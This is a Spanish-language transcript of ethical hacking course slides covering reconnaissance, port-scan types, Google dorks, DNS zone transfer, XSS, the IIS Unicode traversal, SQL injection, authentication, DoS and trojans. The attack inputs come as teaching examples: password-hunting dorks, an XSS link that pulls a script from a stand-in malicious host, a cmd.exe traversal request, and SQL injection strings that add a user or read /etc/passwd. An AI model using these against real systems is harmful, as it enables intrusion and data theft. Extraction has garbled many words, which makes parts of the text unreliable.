Ethical Hacking

Comentarios

Transcripción

Ethical Hacking
Ethical Hacking Reinaldo Mayol Arnao } 
El levantamiento comienza por:
1. Búsqueda del nombre de dominio (Ej.
empresa.com)
2. Localización física de la empresa, direcciones,
teléfonos, direcciones de correo electrónico
3. Búsqueda de información de la empresa en google y otros
motores de búsqueda, blogs, noticias, foros, etc. Búsqueda de
versiones en páginas como www.archive.org
4. Búsqueda de Intranet, proyectos, versiones beta de la empresa,
conseguir acceso a la Intranet puede brindar información
valiosa de la misma.
www2.empresa.com, etc.
5. Existen herramientas como DNS Enumerator, Spider Foot, DNS
Stuff que ayudan a realizar la busque
Práctica:Archive.org
Ambiente: Cualquiera
Vaya al sitio Web: www.archive.org,
utilice la herramienta para buscar
versiones anteriores de su sitio web.
21 Febrero del 2006
Práctica:dnsstuff
Ambiente: Cualquiera
En esta etapa el atacante intenta descubrir, enumerar e
inventariar los equipos de la red a la que quiere acceder.
}  Específicamente, el atacante desea recolectar
información acerca de las direcciones IP, su sistema
operativo, la arquitectura de sistemas de la víctima y los
servicios que cada equipo de su red está ejecuta.
} 
} 
Syn Stealth o Half Open:
◦  Se envía un paquete SYN a un puerto del equipo, lo
que sugiere que se está solicitando una conexión.
◦  Si el puerto está abierto enviará un paquete SYN/
ACK.
◦  Por el contrario, si el puerto está cerrado enviará
un paquete RST.
} 
La ventaja de este tipo de escaneo es que muy pocos
sitios registran este tipo de actividad.
} 
FIN Scan:
◦  Sólo funciona con equipos con TCP/IP desarrollado
de acuerdo al RFC 793, si se realiza contra Windows
la respuesta será que todos los puertos están
cerrados.
◦  El escaneo consiste en enviar un FIN, si el puerto
está abierto se recibirá NO RESPONSE, si el puerto
está cerrado se recibirá un RST/ACK.
} 
NULL Scan:
◦  Este tipo de rastreo sólo funciona con equipos con
TCP/IP desarrollado de acuerdo al RFC 793. Si se
realiza contra Windows la respuesta será que todos
los puertos están cerrados.
◦  El escaneo consiste en enviar un paquete sin
banderas configuradas, si el puerto está abierto se
recibirá NO RESPONSE, si el puerto está cerrado se
recibirá un RST/ACK
} 
Window Scan:
} 
ICMP Echo Scan:
} 
List Scan:
◦  Este rastreo es similar al ACK, la detección se realiza
revisando el tamaño de las ventanas.
◦  Esta opción no es realmente un tipo de rastreo dado que
ICMP tiene abstracción de puertos, pero es útil para
determinar qué equipos de una red están arriba
haciendo ping.
◦  Este tipo de escaneo simplemente genera e imprime la
lista de IP/nombres sin hacer ping o escaneo de puerto.
En realidad se realiza una resolución de nombres (DNS)
} 
Bounce Scan:
◦  Este tipo de rastreo utiliza la vulnerabilidad de los
servidores FTP para los ataques de bounce. Esta
vulnerabilidad permite que una persona solicite al
servidor FTP abrir una conexión con un tercero en
un puerto en particular. Cómo el atacante puede
utilizar el FTP también podrá recibir los resultados.
El ataque bounce es similar a la usurpación de IP (IP
Spoofing).
◦  El anonimato del atacante se mantiene.
◦  También es bueno evadiendo cortafuegos y permite
acceso a redes locales.
} 
Reverse Ident Scan:
◦  El protocolo Ident permite que se muestren los
usuarios dueños de procesos conectados vía TCP,
incluso si ese proceso no comenzó la conexión.
◦  De esta forma una conexión puede establecerse por
HTTP y luego utilizar ident para identificar qué
servidor está corriendo como root.
} 
RPC Scan:
◦  Este método funciona en combinación con otros
tipos de rastreos de puertos.
◦  Funciona escaneando todos los puertos TCP/UDP y
luego los inunda con un programa de SunRPC con
comandos nulos en un intento de determinar si son
puertos RPC, si lo son, trata de determinar qué
versión tienen y programas están sirviendo.
} 
Blaster Scan:
◦  Este es un rastreo de puertos TCP sistemas para
basados en *nix.
◦  Realiza ping a los equipos para determinar
conectividad, escanea segmentos de red, accesos
anónimos a servidores FTP, vulnerabilidades CGI,
POP3 y FTP (para ataques de fuerza bruta).
Google Hacking
Muchas aplicaciones mal instaladas, o instaladas por omisión, errores de configuración, etc, terminan publicando información que no debería ser publica en Internet. Esta información es indexada por los buscadores y por lo tanto, terminan siendo disponibles para el ethical hacker o para el criminal informáAco. En parAcular, las capacidades avanzadas de búsqueda de google son extraordinariamente flexibles. Las búsquedas comunes y corrientes conAenen texto a ser buscado en el cuerpo de la página Web. Sin embargo, las búsquedas avanzadas pueden especificar Apos de archivos, textos en disAntas partes de la página no solo el cuerpo, patrones de números, firmas de aplicaciones, etc. Algunos modificadores de este Apo son: " Inurl: Texto en el URL de la pagina. " Intext: Texto libre. " Site: Especifica un dominio. " Filetype: Tipo de archivos a buscar. Google
Hacking
Obtener Cuentas: inurl:account filetype:xls Obtener passwords: inurl:passwords filetype:xls Obtener info sobre sistemas: inAtle:"sysinfo * " intext:"Generated by Sysinfo * wriUen by The Gamblers." Busqueda de disposiAvos: inurl:indexFrame.shtml Axis (WebCams) intext:centreware inurl:status
(Printers) El siAo web donde todo esto ocurre se llama the Google Hacking Database: hUp://johnny.ihackstuff.com/
ghdb.php Técnica de Zone Transfer
Ejecutar un ataque de transferencia de zona con nslookup. " nslookup " set type=NS " dominio.com " server servidordns.dominio.com " set type=any " ls –d dominio.com Todos los dominios bien configurados deben responder con un “transacción rechazada”. En caso contrario esta secuencia de comandos nos devuelve una lista de hosts con sus nombres de acuerdo a los records del servidor DNS que fue preguntado. Algunos servidores DNS también pueden responder con datos incorrectos para despistar atacantes. Salvo casos muy especiales, las transferencias de zonas no deberían permiArse a la internet en general. Otro camino común utilizado en esta etapa es la
búsqueda de vulnerabilidades que puedan ser
explotables.
}  Existen innumerables herramientas que pueden ser
utilizadas para este fin.
} 
Escondiendo información mediante “Streams
Alternos”.
Los “streams alternos NTFS” o “named streams” o ADS (Alternate Data Streams) son una caracterísAca del sistema de archivos NTFS poco conocida pero muy úAl. Si comparamos a NTFS con otros filesystems como FAT, NTFS expande significaAvamente el concepto de un archivo como una simple porción de datos con un nombre. El “stream sin nombre” es un elemento obligatorio y siempre esta presente. Si intentamos crear un “stream alterno” en un archivo que no existe, el filesystem automáAcamente creara un “stream sin nombre” con longitud zero. Si tratamos de borrar un “stream sin nombre”, el sistema lo considera como una solicitud de borrar todo el archivo y por lo tanto todos los otros “streams alternos” serán eliminados. Escondiendo información mediante “Streams Alternos”.
Cuando un programa abre un archive común y corriente, en realidad esta abriendo el “stream sin nombre”. Para especificar un “stream alterno” simplemente hace falta agregar el símbolo “:” al nombre del archivo. Por ejemplo, nombredearchivo.txt especifica el “stream sin nombre” del archivo (o dependiendo del contexto, todo el archivo), mientras que nombredearchivo.txt:stream especifica el “stream alterno” de nombre stream. Un directorio también puede tener “streams alternos”, sin embargo, el directorio no puede tener “streams sin nombre”. Cualquier intento de acceder al “stream sin nombre” de un directorio resulta en un error. Como el símbolo “:” también se usa para especificar las letras de unidades lógicas se presenta una ambigüedad al uAlizar por ejemplo A:B. El sistema resuelve esta ambigüedad asumiendo siempre que se trata de unidades de disco. Cuando se desea representar un archivo, se debe especificar con el path completo aunque sea relaAvo, por ejemplo: .\A:B. Proxy: es un servidor que puede ser utilizado cómo
intermediario para conexiones con otros equipos.
}  Es común utilizar servidores distribuidos por varios
países de forma es esconder el origen real de la
intrusión.
} 
Tor es una de las herramientas de proxy-socks mas
conocidas y utilizadas.
}  Funciona re-direccionando todo el tráfico a un servidor
anónimo y cifrando los datos entre ese servidor tor y el
cliente ( no entre el servidor tor y el destino)
} 
} 
El término enumeración se emplea para designar el proceso de
extracción de cuentas de usuario, privilegios de las cuentas,
nombres de equipo, etc.
} 
Algunas técnicas de enumeración para la extracción de usuarios:
} 
} 
} 
} 
SNMP
Utilizando los IDs de correo electrónico
Extrayendo información con usuarios por omisión
Fuerza bruta contra directorio activo.
} 
Luego de lograr el acceso el hacker tratará de escalar
privilegios y ejecutar aplicaciones o exploits de forma
encubierta.
} 
Una forma común de encubrimiento son los rootkits.
Los rootkits se instalan en el kernel y tienen la
habilidad de esconderse y encubrir sus actividades.
} 
Cuando se instala un rootkit se reemplazan llamados del
sistema operativo por versiones o rutinas modificadas que
contienen la ejecución de script o aplicación adicional al
llamado natural que realiza la función.
} 
Un rootkit puede: Esconder procesos, archivos, entradas en
el registro interceptar comandos, solicitar debug (causando
los famosos pantallazos azules), redirigir archivos .
Ethical Hacking
Obtención de identidades mediante ataques de
“hombre en el medio”.
}  Envenenamiento del Cache del DNS.
}  Explotando errores de los programas.
}  Explotando configuraciones incorrectas.
}  Envenenamiento de URL
}  Inyecciones SQL
}  DoS
} 
} 
Cross-Site Scripting
◦  En HTML, existen caracteres “especiales”, que se
utilizan para que el servidor y los navegadores
puedan diferenciar entre texto normal ( mostrado) y
elementos que proporcionan diferentes
funcionalidades.
◦  Cross-Site Scripting es una vulnerabilidad que
puede ser explotada mediante la inserción de
caracteres especiales en la comunicación clienteservidor, en forma de scripts, contentivo de código
malicioso.
} 
<A HREF= “http://sitio.com/comment.cgi?
mycomment=<SCRIPT>codigo-malicioso</SCRIPT>"> Click
here</A>
} 
<A HREF= “http://sitio.com/comment.cgi?
mycomment=<SCRIPT SRC=‘http://bad-site/badfile'> </
SCRIPT>"> Click here</A>
Imagine que ud. ha recibido un correo electrónico con
una invitación a un paseo. Para ir al paseo, ud. debe
llenar un formulario con sus datos.
}  El email tiene un link que amablemente lo llevará al
formulario.
}  El link tiene la forma http://www.elpaseosoñado.com
}  El código del link dice:
} 
www.victima.com/default.asp?name=<script>evilScript()</script>
Usuario Confiado…
Server Vulnerable
Usuario Envía Solicitud
Server Devuelve HTML con código
malicioso incluido ( el server cree que es el
nombre del usuario)
Usuario confiado pierde el
Control de su máquina, el código malicioso
Se lo ha entregado a un extraño
} 
} 
Esta vulnerabilidad permite a usuarios externos obtener acceso a
máquinas corriendo IIS 4.0 o IIS 5.0 a través de URL’s
“malformadas”
Ej:
◦  Microsoft IIS efectúa una verificación de seguridad sobre
cada CGI URL ejecutado para asegurar que el requerimiento
no use ninguna secuencia ‘../’
◦  Pero..
◦  Dado que la codificación Unicode del caracter ‘/’ es
‘%c0%af’, si se reemplaza la secuencia ‘../’ por ‘..%c0%af’
este no será rechazado por la verificación inicial, ya que
dicho proceso no encuentra ninguna ocurrencia de los
caracteres ‘../’ sólo verá una secuencia ‘..%c0%af’ válida.
GET/scripts/..%c0%af/winnt/system32/cmd.exe?/
c+dir=c:\ HTTP/1.0
} 
‘%c0 es el código de la tabla Basic Latin
Pero, %af > %7f, lo
Que significa que el sistema
“da la vuelta” ,%80-%af=%2f
%2F
El número
más grande
es %7f ( 127
D)
} 
RPC DCOM
◦  RPC (Remote Procedure Call o Llamada de
Procedimiento Remoto), es un protocolo utilizado
por Windows, que proporciona un mecanismo de
comunicación entre procesos internos, y que
permite que un programa ejecutándose en una
computadora pueda acceder a los servicios de otra,
de manera transparente para el usuario
◦  Windows posee un servicio llamado DCOM
(Distributed Component Object Model o Modelo de
Objeto Componente Distribuido), que permite a los
objetos COM comunicarse entre a través de la red.
◦  Un atacante puede utilizar los puertos TCP/UDP 135
(RPC), 139 y 445 (NetBIOS), 593 (RPC/http), o
cualquier puerto habilitado por IIS para alcanzar los
servicios DCOM vulnerables.
◦  Existen innumerables vulnerabilidades descritas y
explotables utilizando los servicios DCOM.
◦  Un atacante que tenga éxito en aprovecharse de
estas vulnerabilidades, podría ejecutar un código
capaz de tener todos los privilegios del sistema
local de un sistema afectado.
} 
[email protected]:~$ echo -e "GET / HTTP/1.0\n\n" | nc -vv
www.XXXXXXX.COM 80
XXXXXXX.com.ve [XXX.XXX.XXX.116] 80 (www)
open
HTTP/1.1 200 OK
Date: Fri, 21 Nov 2008 02:21:22 GMT
Server: Apache/2.0.53 (Ubuntu) PHP/4.3.10-10ubuntu4.3
X-Powered-By: PHP/4.3.10-10ubuntu4.3
Connection: close
Content-Type: text/html
} 
} 
} 
Una vulnerabilidad de inyección SQL puede producirse
cuando, un gestor mal programado facilita datos en una
base de datos de consulta sin la validación de la
entrada.
<form method="post" action="process_login.php"> <input type="text"
name="username"> <input type="password" name="password"> </ form>
Imagine que pasa mediante el browser la siguiente
sentencia:
◦  https://www.XXX.com/process_login.php?
name=reinaldo%27%3b%20-El “- -” actúa en SQL como
comentario, lo que implicará que le
servidor ignore el resto de la
sentencia
} 
https:www.XXX.com/process_login.php?
name=reinaldo& password=´%20OR%20´’%3d´
SELECT nombre FROM usuarios WHERE
uid=reinaldo AND pwd=´´ OR´ ´=´ ´:
https:www.XXX.com/process_login.php?
name=&password=%27;+INSERT+INTO+userlist+
%28uid%2cpassword%29+VALUES%28%27reinaldo
%27%2c%27mayol%27%29,--+
SELECT nombre FROM usuarios WHERE uid=‘’
AND pwd=´´; INSERT INTO userlist
(uid.password) VALUES (‘reinaldo’ . ‘mayol’)--
} 
https://www.xxx.xxx/vuln.cgi?param=%27’;+CREATE
+TABLE+mia+%28bar+TEXT%29;
CREATE TABLE mia (bar
TEXT)
} 
https://www.xxx.xxx/vuln.cgi?param=%27’;+LOAD
+DATA+INFILE+%27%2fetc%2f%passd/27+INTO
+TABLE+mia;
LOAD DATA INFILE ‘/etc/passwd’ INTO
TABLE mia
} 
https://www.xxx.xxx/vuln.cgi?param=%27’;+SELECT
+%2a+FROM+mia
SELECT * FROM mia
Robo de Contraseñas Auten:cación " 
El modelo más común de auten:cación permite iden:ficar a un usuario, una aplicación o a un servicio u:lizando una pareja de ID-­‐ Clave " 
En un contexto más amplio existen varios modelos adicionales de auten:cación: –  Kerberos –  Cer:ficación Digital Esquemas de Auten:cación " 
• 
• 
" 
" 
" 
" 
Auten:cación HTTP Auten:caciónBasica Digest Auten:cación Auten:cación Windows (NTLM) Auten:cación con Cer:ficados Digitales o Claves RSA Secure Token Biometría Auten:cación HTML Básica Digest Authen:ca:on " 
La contraseña no se u:liza directamente en la auten:cación, sino, por ejemplo: – 
" 
HA1 = MD5 (nombre de usuario: entorno: contraseña). Se basa en el esquema reto-­‐ respuesta Digest Authen:ca:on Servidor de
Autenticación
Cliente
Servidor Envía Reto
Usuario envía Reto Cifrado
Servidor
compara reto
enviado con
reto recibido
LA CLAVE NUNCA PASA POR LA
RED!!
Usuario
Cifra
Reto con
Clave
Auten:cación NTLM " 
" 
Cons:tuye una variante de la auten:cación mediante resúmenes criptográficos. Se trata igualmente una forma segura de auten:cación en la medida en que no se envían ni la contraseña ni el nombre de usuario a través de la red. –  Sólo está soportado por Microso] Internet Explorer, versión 2.0 o posterior y servidores NT. –  No funciona para conexiones con proxy. ¿Cómo ocurre la auten:cación en redes Microso]? " 
Cuando un usuario envía la orden para acceder a \\maquina\recurso_compar:do se efectúan los siguientes pasos: – 
– 
– 
– 
Establecimiento de sesión TCP Establecimiento de sesión NetBIOS Negociación SMB (Server Message Block) Auten:cación Challenge-­‐Response SMB " 
SMB (Server Message Block) es el protocolo a nivel capa Aplicación usado en las redes Microso]. Por razones de compa:bilidad, los nuevos sistemas opera:vos siempre “comprenden” a los anteriores. Durante la negociación el cliente envía la lista de dialectos que comprende, el server selecciona uno en común (normalmente el más nuevo) y devuelve esa información al cliente. Conjuntamente con esa información el servidor envía el reto. " 
" 
" 
DoS ¿Como se inicia un DoS? " 
" 
" 
Se comienza un ataque de DoS explotando una vulnerabilidad en un sistema informá:co. La idea detrás de un ataque de este :po es dejar fuera al sistema víc:ma, principalmente por inanición de recursos. La principal dificultad (del lado de la víc:ma) radica en detener el ataque y reconocer las solicitudes apócrifas de las verdaderas. Algunos Ataques de DoS "
"
"
"
"
"
"
"
S  YN flood T  CP FIN flood  Connec:on flood  Land Atack  finger bomb  email bomb  MAC flooding  DNS flood "  Supernuke/
"
"
"
Winnuke  Teardrop/Newtear  Paquetes fragmentados  Bucle UDP/Snork UDP DoS y DDoS DDoS en el Mundo ( 2007) Smurf "  Enviar un paquete ICMP-­‐Echo-­‐Request a "
un‘SMURF amplifier’ network (A-­‐class broadcast address).  Todos los ordenadores de esa red responden a la dirección de origen ¿Qué es un Troyano? "  Un Troyano es un pequeño programa que "
corre a escondidas y que infecta a un computador.  Con la ayuda de un Troyano, un atacante puede obtener acceso a passwords, modificar parámetros de operación de la computadora infectada, etc. Tipos de Troyanos "
"
"
"
"
"
 
 
 
 
 
 
Security So]ware Disablers Destruc:ve Remote Access Data-­‐Sending Denial-­‐of-­‐Service (DoS) Apack Proxy Puertos u:lizados por (algunos) troyanos Back Orifice
31337-38 /UDP
Deep Throat
2140, 3150/UDP
NetBus
12345,12346/TCP
NetBus 2 Pro
20034/TCP
Back Orifice
31337-38 /UDP
Fin 

Documentos relacionados